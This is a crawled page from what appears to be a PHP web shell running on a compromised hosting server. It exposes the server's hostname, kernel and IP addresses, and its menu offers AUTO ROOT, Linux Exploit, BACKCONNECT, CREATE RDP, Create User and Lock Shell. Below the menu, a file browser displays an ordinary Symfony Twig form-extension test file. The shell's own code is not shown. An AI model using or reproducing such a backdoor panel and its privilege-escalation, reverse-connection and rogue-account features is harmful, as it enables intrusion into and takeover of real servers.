Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.14.134.139
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
php55 /
usr /
share /
pear /
test /
TwigBridge /
Symfony /
Bridge /
Twig /
Tests /
Extension /
[ HOME SHELL ]
Name
Size
Permission
Action
Fixtures
[ DIR ]
drwxr-xr-x
CodeExtensionTest.php
1.99
KB
-rw-r--r--
ExpressionExtensionTest.php
897
B
-rw-r--r--
FormExtensionDivLayoutTest.php
6.28
KB
-rw-r--r--
FormExtensionTableLayoutTest.p...
3.58
KB
-rw-r--r--
HttpKernelExtensionTest.php
2.56
KB
-rw-r--r--
RoutingExtensionTest.php
1.94
KB
-rw-r--r--
StopwatchExtensionTest.php
2.44
KB
-rw-r--r--
TranslationExtensionTest.php
7.41
KB
-rw-r--r--
child_label.html.twig
86
B
-rw-r--r--
custom_widgets.html.twig
420
B
-rw-r--r--
page_dynamic_extends.html.twig
51
B
-rw-r--r--
parent_label.html.twig
75
B
-rw-r--r--
theme.html.twig
239
B
-rw-r--r--
theme_extends.html.twig
282
B
-rw-r--r--
theme_use.html.twig
278
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FormExtensionDivLayoutTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bridge\Twig\Tests\Extension; use Symfony\Bridge\Twig\Extension\FormExtension; use Symfony\Bridge\Twig\Form\TwigRenderer; use Symfony\Bridge\Twig\Form\TwigRendererEngine; use Symfony\Bridge\Twig\Extension\TranslationExtension; use Symfony\Bridge\Twig\Tests\Extension\Fixtures\StubTranslator; use Symfony\Bridge\Twig\Tests\Extension\Fixtures\StubFilesystemLoader; use Symfony\Component\Form\FormView; use Symfony\Component\Form\Extension\Core\View\ChoiceView; use Symfony\Component\Form\Tests\AbstractDivLayoutTest; class FormExtensionDivLayoutTest extends AbstractDivLayoutTest { /** * @var FormExtension */ protected $extension; protected function setUp() { parent::setUp(); $rendererEngine = new TwigRendererEngine(array( 'form_div_layout.html.twig', 'custom_widgets.html.twig', )); $renderer = new TwigRenderer($rendererEngine, $this->getMock('Symfony\Component\Form\Extension\Csrf\CsrfProvider\CsrfProviderInterface')); $this->extension = new FormExtension($renderer); $loader = new StubFilesystemLoader(array( __DIR__.'/../../Resources/views/Form', __DIR__, )); $environment = new \Twig_Environment($loader, array('strict_variables' => true)); $environment->addExtension(new TranslationExtension(new StubTranslator())); $environment->addGlobal('global', ''); // the value can be any template that exists $environment->addGlobal('dynamic_template_name', 'child_label'); $environment->addExtension($this->extension); $this->extension->initRuntime($environment); } protected function tearDown() { parent::tearDown(); $this->extension = null; } public function testThemeBlockInheritanceUsingUse() { $view = $this->factory ->createNamed('name', 'email') ->createView() ; $this->setTheme($view, array('theme_use.html.twig')); $this->assertMatchesXpath( $this->renderWidget($view), '/input[@type="email"][@rel="theme"]' ); } public function testThemeBlockInheritanceUsingExtend() { $view = $this->factory ->createNamed('name', 'email') ->createView() ; $this->setTheme($view, array('theme_extends.html.twig')); $this->assertMatchesXpath( $this->renderWidget($view), '/input[@type="email"][@rel="theme"]' ); } public function testThemeBlockInheritanceUsingDynamicExtend() { $view = $this->factory ->createNamed('name', 'email') ->createView() ; $renderer = $this->extension->renderer; $renderer->setTheme($view, array('page_dynamic_extends.html.twig')); $renderer->searchAndRenderBlock($view, 'row'); } public function isSelectedChoiceProvider() { // The commented cases should not be necessary anymore, because the // choice lists should assure that both values passed here are always // strings return array( // array(true, 0, 0), array(true, '0', '0'), array(true, '1', '1'), // array(true, false, 0), // array(true, true, 1), array(true, '', ''), // array(true, null, ''), array(true, '1.23', '1.23'), array(true, 'foo', 'foo'), array(true, 'foo10', 'foo10'), array(true, 'foo', array(1, 'foo', 'foo10')), array(false, 10, array(1, 'foo', 'foo10')), array(false, 0, array(1, 'foo', 'foo10')), ); } /** * @dataProvider isSelectedChoiceProvider */ public function testIsChoiceSelected($expected, $choice, $value) { $choice = new ChoiceView($choice, $choice, $choice.' label'); $this->assertSame($expected, $this->extension->isSelectedChoice($choice, $value)); } protected function renderForm(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->renderBlock($view, 'form', $vars); } protected function renderEnctype(FormView $view) { return (string) $this->extension->renderer->searchAndRenderBlock($view, 'enctype'); } protected function renderLabel(FormView $view, $label = null, array $vars = array()) { if ($label !== null) { $vars += array('label' => $label); } return (string) $this->extension->renderer->searchAndRenderBlock($view, 'label', $vars); } protected function renderErrors(FormView $view) { return (string) $this->extension->renderer->searchAndRenderBlock($view, 'errors'); } protected function renderWidget(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->searchAndRenderBlock($view, 'widget', $vars); } protected function renderRow(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->searchAndRenderBlock($view, 'row', $vars); } protected function renderRest(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->searchAndRenderBlock($view, 'rest', $vars); } protected function renderStart(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->renderBlock($view, 'form_start', $vars); } protected function renderEnd(FormView $view, array $vars = array()) { return (string) $this->extension->renderer->renderBlock($view, 'form_end', $vars); } protected function setTheme(FormView $view, array $themes) { $this->extension->renderer->setTheme($view, $themes); } public static function themeBlockInheritanceProvider() { return array( array(array('theme.html.twig')) ); } public static function themeInheritanceProvider() { return array( array(array('parent_label.html.twig'), array('child_label.html.twig')) ); } }
Close